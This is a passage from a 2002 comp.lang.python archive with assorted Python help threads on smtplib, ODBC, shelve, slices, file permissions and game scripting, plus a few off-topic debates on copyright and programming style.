Also, how does python get mixed in with HTML to generate a webpage? http://www.python.org/doc/Comparisons.html http://www.python.org/doc/ http://www.google.com/search?q=python+c%2B%2B+comparison Tim Delaney From kragen at pobox.com Sat May 25 14:08:58 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 14:08:58 -0400 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: <83r8k0je11.fsf@panacea.canonical.org> Antaeus Feldspar writes: > Could the python interpreter be equipped with a mode that would allow it > to emulate past interpreters? Thus, if someone needed access to a > script that was designed for 1.5.2, they could pass a "--1.5.2" argument > to the interpreter and have it run under 1.5.2's rules... You'd really want it to be a per-module declaration, at which point it becomes 'from __future__ import ...'. From peter at engcorp.com Sun May 26 09:33:23 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 May 2002 09:33:23 -0400 Subject: 'for every' and 'for any' References: Message-ID: <3CF0E423.362CC50@engcorp.com> Oren Tirosh wrote: > > Here's an idea for a possible language enhancement. I'd like to hear your > comments about it. It's inspired by list comprehensions and I think the > examples are pretty self-explanatory: > > if not isinstance(x, str) for any x in args: > raise TypeError, "arguments must be of type str" for x in args: if not isinstance(x, str): raise TypeError, "arguments must be of type str" > valid = i>0 for every i in vector valid = True for i in vector: if i <= 0: valid = False break > if dict2.has_key(k) for any k in dict1: > ... for k in dict1: if dict2.has_key(k): break Other than saving a few lines at the expense of code that is "denser" and (I believe) harder to understand at a glance, what advantage do these constructs have? Can you post an example where the improvement is clear and overwhelmingly convincing? -Peter From printers at sendme.cz Mon May 20 16:40:14 2002 From: printers at sendme.cz (A) Date: Mon, 20 May 2002 22:40:14 +0200 Subject: Smtplib and exceptions- why it does NOT work Message-ID: <3CE97B4E.28930.54272A@localhost> Hi, How can I get response from Smtplib? For example I have class SMTPM: def sendMail(self): import smtplib s11 = smtplib.SMTP('smtp.sendme.cz') Response=s11.sendmail('a at NonExistingDomain1.com',"printers at sendme.cz","TEST") print Response A=SMTPM() A.sendMail() When I start the class I will get the following exception: SMTPSenderRefused: (501, '5.1.8 ... Domain of sender address a at NonExistingDomain1.com does not exist', 'a at NonExistingDomain1.com') and execution stops. I,however, would like to print only (501, '5.1.8 ... Domain of sender address a at NonExistingDomain1.com does not exist', 'a at NonExistingDomain1.com') without stopping execution. So I handled that exception and changed the class like this class SMTPM: def sendMail(self): import smtplib self.s11 = smtplib.SMTP('smtp.sendme.cz') try: Response=self.s11.sendmail('a at NonExistingDomain.com',"printers at sendme.cz","TEST") except(smtplib.SMTPRecipientsRefused,smtplib.SMTPSenderRefused ): print "Response ",Response A=SMTPM() A.sendMail() But it does not work. Can anybody please explain to me why? thanks Ladislav From xsebbi at gmx.de Wed May 29 04:53:29 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Wed, 29 May 2002 10:53:29 +0200 Subject: Looking for an tutorial Message-ID: <200205291053.29785@xsebbi.de> Hi all, I know, google could help me, but it doesn't prints any good links for my request. Im looking for an python-tutorial about sockets and basic network-data-transfers. I tried socket overview from the python homepage/documentation but it doesn't say anything about InputOutput over a network. Only about 'how to set up an server/client'. The Python library reference could'nt help me, too, because I'm looking for some expamples, too. ;) So, do you know something about an good tutorial related to this topic? Thanks in advance, Sebastian From m.faassen at vet.uu.nl Fri May 17 18:24:45 2002 From: m.faassen at vet.uu.nl (Martijn Faassen) Date: 17 May 2002 22:24:45 GMT Subject: How many languages features are available for OO support? References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> Message-ID: Byron Hammond wrote: > To what extent does Python support OO? > I know it has [multiple] inheritance and polymorphism etc, but to what > extent does the language accomodate this and other OO concepts? It does multiple inheritance and polymorphism very well. Python 2.2 changed the multiple inheritance rules for new style objects and added a nicer way to call specific superclasses, but earlier versions have always worked fine with multiple inheritance. > Does Python support the notion of an abstract class As others wrote, generally this is implemented by writing something like: class Foo: def abstractMethod(self): raise NotImplementedError which will definitely give you the intended effect if you try to use the method directly. Of course only during runtime, but that's Python for you (the runtime nature of Python can be very nice). Write unit tests. > or an interface through the use of language features? Python interfaces are always already there, but not explicitly unless you make them explicit by just writing a class to document them (possibly also an abstract one as above you can mix in). In larger frameworks the implicitness of interfaces starts to hurt. Zope, one of Python's largest frameworks, has grown a solution for this, now religiously applied in Zope 3, the next generation of Zope now under development. The notion is slowly spreading into other frameworks now (notably Twisted). The Interface package, unfortunately not nicely packaged yet and lacking documentation, can be found here in Zope3 CVS (you can download a tarball and experiment; I hope it doesn't have too many dependencies): http://cvs.zope.org/Zope3/lib/python/Interface/?only_with_tag=Zope-3x-branch It deserves packaging and documentation. [snip] Regards, Martijn -- History of the 20th Century: WW1, WW2, WW3? No, WWW -- Could we be going in the right direction? From sjmachin at lexicon.net Sat May 18 20:37:06 2002 From: sjmachin at lexicon.net (John Machin) Date: 18 May 2002 17:37:06 -0700 Subject: Newbie: print-to-file-Syntax References: Message-ID: Sabine Richter wrote in message news:... > Hello, > > I looked the syntax up in the python doc, but nevertheless, I don't > understand it. What's wrong? > > PROT=open("c:\\existing_dir\\prot.txt",'w') > PROT.write("Written String") > print >> PROT "Printed String" > print PROT "Printed String" > > PROT.close() > > --> Written String has been written. But for the print-Statements I get > a syntax error message > > > And a second question: > > Is it possible to write: > PROT=None > print... print-to-file-syntax > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> foo = None >>> print >> foo, "Hello ..." Hello ... The answers are (1) you are missing a comma (2) yes. In both cases, see example above. :-) Don't expect a visit from folk in nice red uniforms who will no doubt want to caution you about (1) uppercase variable names like PROT (2) using "print >>" at all. :-) Regards, John From kseehof at neuralintegrator.com Thu May 30 07:38:10 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 30 May 2002 04:38:10 -0700 Subject: What does Python offer? In-Reply-To: Message-ID: > Hello > > I have beome curious about Python after playing a game called 'Severance - > Blade of Darkness', which uses python scripts. I know very little > about the > language. I am a C++ programmer, and would like to ask the Python > community > : > > What is unique or special about Python? Excellent for rapid development, and blends nicely with C++. > Why would it be useful to a games programmer? Python programs are highly scaleable, robust, and resilient to change (as compared to C++). Resilience is very important to games programmers because the design specification is usually in a state of constant flux. > Could it be used for allowing users to customize games, eg > reprogramming AI > bots etc? Yes! > Thanks for all answers > > D?ire I highly recommend PyGame if you want to get a game up and running quickly. I've been writing a remake of the old arcade game "QIX". It's got about three days work in it and probably will take about two more days to finish it (when I have some free time). And that includes most of the learning curve for the PyGame API (which I had only dabbled in briefly). I think it would be very unusual to complete such a game in C++ in less than a month. http://www.neuralintegrator.com/pyx - My QIX remake http://www.pygame.org - The PyGame tool kit Now I suppose I should point out that it runs quite a bit slower than it would if written in C++, but I'm getting frame rates up to 200 on a 600Mhz Pentium. My target frame rate is a maximum of 45, (so I can safely require no more than a 200Mhz system) I don't really see a need to optimize it in my case, since I'm just writing the game for fun anyway and it's more than fast enough. If I had the inclination, I could easily rewrite some of the underlying structures in C++ and get close to the same speed as pure C++, but that would require compiling the C++ portion on each platform that I desire to run on. As it is, the pure python+pygame implementation means that the game runs on everything from Mac to Linux. On the other hand, if I were working on a more ambitious project such as a massively multiplayer real-time simulation game, I'd write all the CPU intensive code in C++. I'd definitely still write the main program in python whether I was allowing user scripting or not. If you are still concerned about speed, install PyGame and look at the "Liquid" example. It is very cool. :-) Since you are thinking about python scripting capabilities in your game, I feel the need to steer you in the right direction regarding architecture: There are two basic ways to combine C++ and python: "Extending" and "Embedding". Extending refers to writing code in C++ such that the functions and classes are accessible from python. Embedding refers to executing python code from c++. Although embedding is one way to add python scripting to an existing c/c++ program, I much prefer to use extending exclusively whenever possible. That is, I write low level layer in c++, but always write the outer layers and the main application in python (after all, the high level portion of the program generally will not usually be CPU intensive). With the correct architecture, it should never be necessary to call python from C++. Embedding just feels like inside-out programming to me. C++ and python work very nicely together. Use them both. Good luck on your project, and let me know how it's going. - Ken Seehof From =?iso-8859-5?Q?=DF=D5=DD=D3=E3=D8=DD=D8=E1=E2=D0?= at =?iso-8859-5?Q?=DC=D0=D8=DB?=.=?iso-8859-5?Q?=DD=D5=E2?=.=?iso-8859-5?Q?=DC=DA?= Thu May 9 14:04:34 2002 From: =?iso-8859-5?Q?=DF=D5=DD=D3=E3=D8=DD=D8=E1=E2=D0?= at =?iso-8859-5?Q?=DC=D0=D8=DB?=.=?iso-8859-5?Q?=DD=D5=E2?=.=?iso-8859-5?Q?=DC=DA?= (=?iso-8859-5?Q?=B4=D0=DC=F8=D0=DD_=B3=2E?=) Date: Thu, 9 May 2002 20:04:34 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: <3cdaba28$1@news.mt.net.mk> > What??? It works for me with: LC_ALL=mk_MK python Python 2.1.1 (#2, Sep 21 2001, 18:34:32) [GCC 2.95.3 20010315 (release)] on linux2 Type "copyright", "credits" or "license" for more information. >>> ???? = "Hello" >>> print ???? Hello But doesn't with: LC_ALL=C python -- ?????? Jesus saves, but only Buddha makes incremental backups From jmdeschamps at cvm.qc.ca Tue May 14 08:51:28 2002 From: jmdeschamps at cvm.qc.ca (jmdeschamps) Date: 14 May 2002 05:51:28 -0700 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> Message-ID: <3d06fae9.0205140451.5ec335b1@posting.google.com> Tim Roberts wrote in message news:... > paul at boddie.net (Paul Boddie) wrote: > > ... > >This is one thing I strongly dislike about the "Perl attitude" to > >programming, along with the "coding is an art not a science" viewpoint > >and the "code is poetry" school of thought. Programming and coding are > >(or should mostly be) sciences or engineering practices which we > >should strive to get right every time - > >... > This is exactly right, and it is an important point. As long as programs > continue to be essentially "hand-crafted", we will never be able to build > reliable large systems. Only when programming ceases to be art and moves > into the realm of engineering -- like building a bridge or a building -- > will we get the reliability that we really need in order to create the > large systems that the twenty-first century demands. Why should coding not be an art? or Poetry? while developing engineering virtues! But programming is not building bridges or buildings; in its very essence, its the realm of whatever is within the outer limits of human creativity, whatever that is! And that is both art and science, and so many other things beside. Happy programming ! end quote : "... to infinity, and beyond !" -- Jean-Marc Cegep du vieux-montreal From tundra at tundraware.com Tue May 21 01:50:03 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Tue, 21 May 2002 05:50:03 GMT Subject: OT: Copyright and sick society References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> Message-ID: <3CE9DFCC.2FF372AF@tundraware.com> "David K. Trudgett" wrote: > > On Sunday 2002-05-19 at 19:42:22 -0700, Dean Goodmanson wrote: > > > Now I've blown it. Shouldn't have posted after skimming, but after > > digesting. > > > > According the the copyright section it should have been reproduced in > > it's entirety, and my quote of the Python section may have consisted > > of "condensing." > > > > I apologize. > > > > Now onto remedy.. > > > > I can either: > > a. Post the entire text here. > > b. ??? > > When people start to think twice about sharing information by quoting > material, in full or in whole, it's a sign of a sick society. > > Think for a moment about it. Is our solidarity with one another as > normal human beings going to decay to such an extent that we cannot > share information with those who need it? > > I believe the Chinese have a concept about this, that has to do with > the term "xing ge", which translates (badly, probably) as "character". > Australians call it "mateship". > > To bring in a bit of relevance to an otherwise OT post, the Python > community's spirit of sharing and mutual assistance, is one of the > highlights in what can be a rather dreary field (in terms of freedoms > and openness, and the ability to benefit from mutual sharing). The > open source Python licence itself, and no doubt Guido et al, strongly > encourage this environment. > > Sharing not only has utilitarian benefits, it's also the human thing > to do. > > David Trudgett Since I am at the moment unemployed, and in that humanitarian spirit, might I ask you to "share" your paycheck with me? Intellectual property is still property. When shared voluntarily it is a wonderous thing. When protected and profited upon, it is equally wonderous and by no means "sick". -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From duncan at NOSPAMrcp.co.uk Thu May 30 04:50:13 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 08:50:13 +0000 (UTC) Subject: What does Python offer? References: Message-ID: "Solosnake" wrote in news:ad36sv$7h5$1 at newsg1.svr.pol.co.uk: > I was really enquiring about how python might differ from other > langauges, and how this might be pertinant to games programming. e.g. > I believe it is an interpreted langugae, as opposed to compiled? So AI > code written in Python could be modified by end users? This cannot be > done with C++ unless you expect the end user to compile his/her own > dll. I do not wish to control or modify other games, I am a student of > games programming, I would be using python in my own games projects. You certainly could allow end users to add or change AI components by writing them in Python. This is one of the possible reasons for choosing Python for this task, but given that Startrek: Bridge Commander chose to use Python but not (AFAIK) allow end users to modify it, this cannot be the only answer. The primary reasons for using Python that I can think of are: Getting the product out of the door much sooner. Flexibility. You can program so much more quickly that you can rewrite chunks of code using completely different algorithms if your original choice was wrong, and still have it complete sooner than if you had done it in C++. It frees you up to think about what the code should do, rather than how to do it. > I do not wish to invest any time in learning python if it is of no > special use, and everything I could do could be done with C++ anyway. > How does/can Python be integrated with other languages e.g. C++? To integrate with C, the best way (IMHO) is to simply read the Python documentation on extending/embedding and the Python C/API. Look at the implementation of some of the modules that come with Python and build on that. I find this to be an easier and more flexible way than using SWIG but you might find differently. For C++ you might want to look at Boost/Python. > > I don't want to write my games in python, unless it runs faster then > C/C++/assembly? :) You can pretty well guarantee that if you write it in Python it won't run faster than if you coded the same algorithms perfectly in C/C++. However, you would probably take around 10 times longer to write the same code in C/C++, and you might find it hard to measure the difference in runtime. For the sort of application you are asking about, almost all the CPU time is spent processing fancy graphics. The AI component usually takes a comparatively small amount of processor time. You may be trading off a small amount of performance for the benefit of getting the program to run faster, better, sooner, and with much more flexibility. Your choice. If, when complete, you find your Python code is too slow, then usually you can optimise a small portion in a faster language to get most of the possible speedup. However you won't usually know until complete which portion needs to be optimised. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From ak at silmarill.org Mon May 13 11:48:31 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Mon, 13 May 2002 15:48:31 GMT Subject: Getting File Permissions References: Message-ID: In article , Garry Taylor wrote: > Hi, > This has been asked before, but I cannot get the solution to work, > quite simply, I want to get the permissions for a file, ideally in a > rwx-rwx-rwx format, but anything I can get will do! > > I have tried: > > st = os.stat('/home/gaz') > mode = st[stat.ST_MODE] > print "mode is", octal(mode & 0777) > > but it errors with: > > Traceback (most recent call last): > File "filepermissions.py", line 5, in ? > mode = st[stat.ST_MODE] > NameError: name 'stat' is not defined > You have to import stat. > > I know this must seem really simple, but I cannot find anything that > actually works, do I have to import something which not obvious? octal > does not even seem to be a valid command. Is there a different way to > get this information, a module or something? > > Thanks a lot in advance. > > Garry -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From melis at uni-muenster.de Tue May 28 05:45:54 2002 From: melis at uni-muenster.de (melis) Date: Tue, 28 May 2002 09:45:54 +0000 Subject: Newbie: sendmail / subject woes Message-ID: <3CF351D2.9000509@uni-muenster.de> Hello NG! In the reference library it states sendmail (from_addr, to_addr, msg[,mail_options,rcpt_options]) Where do i specify the subject of the mail ? THX Udo From aleax at aleax.it Thu May 9 07:56:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 11:56:10 GMT Subject: Is 'isinstance()' the right thing? References: <3CCE5F2A.1103E744@alcyone.com> Message-ID: Ralf Juengling wrote: ... >> The "Pythonic" way of argument checking is to simply use it and catch >> the exceptions that will be thrown if it doesn't behave as planned. > > Hm, you might risk to destroy something this way (i.e. when an exception > occurs to late). I have observed this, in about 5% to 10% of cases -- when I need a function to be somewhat "atomic", performing on an object argument either 'all' of a set of state alterations, or none -- whatever the type of the actual argument. 90%+ of the time, of course, such "failsafe" behavior is not needed -- calling the function with a weird argument is a programming error and it doesn't matter if some state is altered before throwing an exception. However, it's exactly for that small but important remaining slice of cases, that I wrote the "accurate LBYL" Cookbook recipe I pointed you to earlier (on ActiveState's Python Cookbook site). >> Depending on what you want, some of the is... functions in the operator >> module might be to your liking. > > Thanks, I wasn't aware of these (looked for them in the type module). > *BUT*, these (eg. isSequenceType) work only for C extension types, right? Not quite, but what it checks if is the object's type implements the C_API level "sequence" interface -- which the BDFL is musing about deprecating anyway, since, with slice accesses now best obtained through item methods, and iterators as a separate concept, the "sequence" stuff is just duplicating mapping and numerical stuff. So, I wouldn't rely on it. PEP 246 would allow MORE than just checking if an object, exactly as it is, currently implements an interface: it would allow the object itself or a third-party adapter to interpose an Adapter that lets you use the object "just as if" it implemented the interface. All the benefits of COM's QueryInterface approach (vastly superior to C++'s dynamic_cast, since it lets the object build needed parts of itself JIT, on-the-fly) PLUS those of COM's IServiceProvider (since no identity constraint on the returned object). Of course if for some weird reason you needed to check if an Adapter is in use, that would be easy too: conformant = adapt(argument, requiredProtocol) if conformant is argument: " no adaptation, work on the original object " else: " adaptation occurred, whatever you want to do about it" . So far I think I managed to explain it well enough to get the BDFL to agree this would be good IF Python had 'interfaces' as a concept separate from types and classes, so that 'requiredProtocol' would have to be an 'interface'. I just can't manage to explain why types or classes would be just as good in the 'requiredProtocol' role as would be 'interfaces', so there's no need to wait for the latter and 246 could just be allowed to go ahead now. Oh well... one day I'll get some inspiration for how to go about it... Alex From mwh at python.net Fri May 24 06:00:28 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 24 May 2002 10:00:28 GMT Subject: How Are Unlimited Precision Integers Accomplished? References: <7xbsb7zrlc.fsf@ruckus.brouhaha.com> <7xn0uqqtvv.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > There's a beautiful paper by Borwein, Bailey, and Plouffe showing > how to compute the (say) 1 billionth hex digit of pi, without having > to compute all the digits leading up to it. I don't know if > anyone's figured out a way to do that in decimal though. I think there are algorithms for finding the nth decimal digit without having to compute the first (n-1) digits, but they're not as neat or as quick as the formula for hex. I'd post a reference if I could find one... Cheers, M. -- Need to Know is usually an interesting UK digest of things that happened last week or might happen next week. [...] This week, nothing happened, and we don't care. -- NTK Know, 2000-12-29, http://www.ntk.net/ From ak at silmarill.org Tue May 14 13:04:46 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Tue, 14 May 2002 17:04:46 GMT Subject: 3rd party modules References: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> <3CE0D6CA.480264A6@alcyone.com> <3ce0d767$0$230$4d4ebb8e@read.news.nl.uu.net> Message-ID: In article <3ce0d767$0$230$4d4ebb8e at read.news.nl.uu.net>, Guyon Moree wrote: > so what does this mean? > It installs the module. It's particularly useful for programs that include a few modules and datafiles, because they can be a hassle to install by hand. > > > ps. in case you didn't notice... i'm a newbie in python :) > > "Erik Max Francis" wrote in message > news:3CE0D6CA.480264A6 at alcyone.com... >> Guyon Moree wrote: >> >> > now i'm just wondering if i am doing this the right way and what am i >> > supposed to do with this setup.py? >> >> It means that it's set up for distutils: >> >> python setup.py install >> >> -- >> Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ >> __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE >> / \ Who'd ever think it / Such a squalid little ending >> \__/ The American and Florence, _Chess_ >> Church / http://www.alcyone.com/pyos/church/ >> A lambda calculus explorer in Python. > > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From hughett at mercur.uphs.upenn.edu Wed May 1 18:19:46 2002 From: hughett at mercur.uphs.upenn.edu (Paul Hughett) Date: 1 May 2002 22:19:46 GMT Subject: Slice objects with negative increment References: Message-ID: Alex Martelli wrote: : Paul Hughett wrote: :> mini-problem: Given i and j such that j > i >= 0, write a snippet of :> code to construct a slice object that selects elements j-1, j-2, ..., i. :> If I understand the interpretation of slices correctly, i = 0 must :> be treated as a special case and the code must look something like :> :> if i == 0 : :> slc = slice(j, None, -1) :> else : :> slc = slice(j, i, -1) : No, slice(j,i,-1) works for any j and i meeting your constraints, but it : gives elements j, j-1, ..., i+1, not the ones you require. In Python, : any range and the like is always first-bound-included, last-bound- : excluded (as A. Koenig suggested even for C back in the '80s). Oops. To solve the stated problem, my code should have been: if i == 0 : slc = slice(j, None, -1) else : slc = slice(j, i-1, -1) : You do need to special-case your request if you don't know the length of the : sequences involved, because then you don't know the exact rule by which : positive and negative indices are mapped. I.e., you can't mix negative and : positive indices unless you know how they correspond (thus, unless you : know the sequence's length). It is necessary to special-case it even if I do know the length of the sequence involved. My discontent is that the meaning of i-1 as the stop value changes abruptly and unobviously when i changes from 1 to 0. I'm a careful programmer and know the -n convention for indices, but I would probably have written slice(j, i-1, -1) and been bitten by it anyway, since what I'm trying to do has nothing to do with indices relative to the end of the sequence. The principle of least astonishment has been violated here, at least in my eyes. If I adopt the negative index convention in my extension, then I feel I need to add a note to my documentation explaining this little gotcha of that convention. Paul Hughett From gerhard at bigfoot.de Sun May 26 14:50:58 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sun, 26 May 2002 20:50:58 +0200 Subject: Tkinter will bei mir nicht starten In-Reply-To: <3e89c7ad.0205260958.37fd4c8b@posting.google.com> References: <3e89c7ad.0205260958.37fd4c8b@posting.google.com> Message-ID: <20020526185058.GB797@lilith.my-fqdn.de> * powell [2002-05-26 10:58 -0700]: > Hallo, > > Ich habe ein Problem mit Tkinter bei Python. > Wen ich beim Idle import Tkinter oder andere import Befehle eingebe, > kommt immer die fehlermeldung "No module named Tkinter". > > Ich habe Python unter Suse Linux 8.0 per software nachinstallieren per > Cdrom installiert. There's a separate RPM for Tkinter on SuSE Linux. As said already, this list is in English, but we also have a list for German speaking Python users: http://starship.python.net/mailman/listinfo/python-de Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From sholden at holdenweb.com Fri May 10 08:08:32 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 08:08:32 -0400 Subject: odbc advice? References: <20020509234009.49430be6.wilk@flibuste.net> Message-ID: "don" wrote ... > Sorry, I should have included the rest: > > conn = odbc.odbc('mybase') > cur = conn.cursor() > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > updateopinion=1""") > conn.commit() > cur.close() > conn.close() > > I'll try it with > cur = NONE > at the end as well & see what happens. > > Thanks for the tip! -Don > > "William Dode" wrote in message > news:20020509234009.49430be6.wilk at flibuste.net... > > Le Thu, 9 May 2002 13:11:48 -0700 > > "don" ?crivait: > > > > > I'm trying to update table in a SQL Server 2000 database. The following > > > (and other similar) code hangs Python about half of the time when I run > > > it and then, once hung, will hang every time until I reboot. Does anyone > > > have any tips on handling odbc connections in Python? I've been hunting > > > around for a while, but haven't found descriptions of hangs like this. > > > My reference of choice (Python Web Programming) tells me the ODBC driver > > > isn't ready for prime-time. I'm not sure I have any other options, > > > though. Any help appreciated. -Don > > > > > > ++++++++++++++++++++++++ > > > > > > import dbi, odbc > > > > > > conn = odbc.odbc('mydb') > > > > > > cur = conn.cursor() > > > > > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > > > updateopinion=1""") > > did you try to add > > > > cur.commit() > > cur.close() > > cur=None > > I'm afraid the cur = NONE will fail with a NameError, as it should be cur = None Furthermore, I regret that this is superstition, probably from someone who (like me) has been bitten in the ass by ASP's complete failure to manage memory correctly. In the VBScript ASP environment it's possible to leak memory by retaining object references at the end of a page. In Python (I believe) the references will all be automatically garbage-collected, so that alone isn't going to make a non-functional program work. Such is my understanding, anyway. it-surely-won't-hurt-though-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From rjones at ekit-inc.com Wed May 8 01:56:08 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Wed, 8 May 2002 15:56:08 +1000 Subject: Has Red Hat helped or hurt? In-Reply-To: References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <200205081556.08617.rjones@ekit-inc.com> On Wed, 8 May 2002 15:35, Martin v. Loewis wrote: > Tim Roberts writes: > > How have other people handled this? Do you just copy all of > > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into > > a separate directory and grumble every time you have to change the #! > > line in your scripts? > > I personally stopped using Redhat, but I recommend that you install > the Redhat-provided python2 binary. You could then install all > additional packages that you need - many of them should install easily > thanks to distutils. The python.org python2 linux RPMs install just fine on redhat too. Distutils makes installing packages a cinch - even to multiple python installations (I have 1.5.2, 2.1.3 and 2.2.1 installed here, with most packages installed in the latter two) Richard From eric.brunel at pragmadev.com Thu May 30 08:05:19 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 30 May 2002 12:05:19 +0000 Subject: User input question References: Message-ID: Ken wrote:> > Does this also work for user input from keyboard? Yep. It's exactly the same thing than in C++. -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From shalehperry at attbi.com Sat May 11 01:22:29 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 22:22:29 -0700 (PDT) Subject: How to stop this race condition more effectively In-Reply-To: <3cdc95cb$1_6@nopics.sjc> Message-ID: On 11-May-2002 Adonis wrote: > i have these two functions running on seperate threads, but when executed it > causes a race condition on the system, hogging 100% cpu, i was able to > alleviate it by inserting a time.sleep(1) function to "slow" it down to > where its at 0% cpu usage when idle which is what i want, problem solved. > correct, but i was wondering if it could be optimized more? > > any help would greatly be appreciated. > any of the operating system texts used in college talk about these kinds of problems. consumer/producer, dining philosophers, etc. From richard at electrophobia.com Sat May 11 16:46:48 2002 From: richard at electrophobia.com (Richard Parker) Date: Sat, 11 May 2002 20:46:48 GMT Subject: Python SHA-based encryption function, new version References: <7xu1pmxkco.fsf@ruckus.brouhaha.com> <7xbsbt643m.fsf@ruckus.brouhaha.com> <7x1ycpwpqz.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin at phr-n2002a at nightsong.com wrote on 5/6/02 3:10 AM: > Revision 1.15 is now up and has the correct fix. It also portably > incorporates the process ID into the nonce, on systems that support > os.getpid; Unix and Windows are among these. Thanks to Alex Martelli > for this suggestion. There are probably still bizarre conditions > under which you can re-use a nonce even on those systems, but you'll > have to work pretty hard at it now. > > The URL again is . Revision 1.15 appears to have a bug in p2_encrypt - the call to _hmac appears to be using the ciphertext as the HMAC key and the authentication key as the message. This can't have been what you intended, right? As it stands it is insecure. -Richard From pearu at cens.ioc.ee Mon May 20 15:42:29 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Mon, 20 May 2002 22:42:29 +0300 (EEST) Subject: ANSI colored output: How to determine how python was called? In-Reply-To: Message-ID: On 20 May 2002, Donn Cave wrote: > Quoth Pearu Peterson : > > | In my python program I want to output ANSI colored text only if the > | terminal where the program was executed can support ANSI colored text. In > | all other cases the program should output ordinary text. > | > | My initial approach was to check the TERM environment variable, for > | example, > | > | if os.environ.get('TERM',None) in ['rxvt','xterm']: > | print '\x1b[31mHello!\x1b[0m' # red Hello! > | else: > | print 'Hello!' > | > | But then I found that when this program is called through > | > | commands.getstatusoutput(..) > | > | and its friends, then the above test fails in the sense that red `Hello!' > | is printed but I would like to have here an ordinary `Hello!'. > | > | So, my question is: > | > | Are there alternative (hopefully better) ways to decide whether the > | output "device" of python stdout supports ANSI colored text or not? > > The problem you encountered with commands.getstatusoutput() is > easily solved - > > if sys.stdout.isatty() and os.environ.get(... Thanks! > As for the other problem, you'll never account for all the color > terminal emulators that way - many of them will show up as vt102, > or who knows what. The original "xterm" was not color capable. > It might be nice to pull something else out of the environment too, > for the sake of people who are missing the boat on TERM - maybe > LS_COLORS, which is already used by GNU ls, or something specific > to your application. In debian woody and Suse linux only TERM and COLORTERM are defined by default that I found to be related variables to this coloring issue. And COLORTERM seems to be interpreted differently in these two linux systems: in woody I have COLORTERM=rxvt while in Suse COLORTERM=1. I checked that colorgcc is more liberal on coloring output than I with TERM in [rxvt,xterm]. So, I think, I'll keep it in that way until some old HP user will complain about the junk in its terminal ;) Pearu From m.hadfield at niwa.co.nz Wed May 22 17:28:43 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Thu, 23 May 2002 09:28:43 +1200 Subject: OT: off-topic Message-ID: In view of the number of threads labelled OT in this group, perhaps we need a new group: comp.lang.python.off-topic. Just kidding. -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From rnd at onego.ru Tue May 7 05:03:51 2002 From: rnd at onego.ru (Roman Suzi) Date: Tue, 7 May 2002 13:03:51 +0400 (MSD) Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <8mMB8.12837$CN3.452004@news2.tin.it> Message-ID: On Tue, 7 May 2002, Alex Martelli wrote: > We probably can't change this default (mis-)behavior due to backward > compatibility needs, but it wouldn't be too hard to at least give a simple > _optional_ way out, even though off-by-default: > > >>> s.close() > >>> s=shelve.open('ciao','c',smart=1) > >>> s['ciao'] > [0, 1, 2, 3] > >>> s['ciao'].append(23) > >>> s['ciao'] > [0, 1, 2, 3, 23] > >>> s.close() > >>> s=shelve.open('ciao','c') > >>> s['ciao'] > [0, 1, 2, 3, 23] > >>> I think it is better to fix and not looking for backward compatibility! It will not be seen on the background of other major changes to Python. So, no smart is needed, IMHO. Or, maybe python needs some runtime key or phrase like: from __past__ import broken_shelve Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From alexis.layton at post.harvard.edu Wed May 8 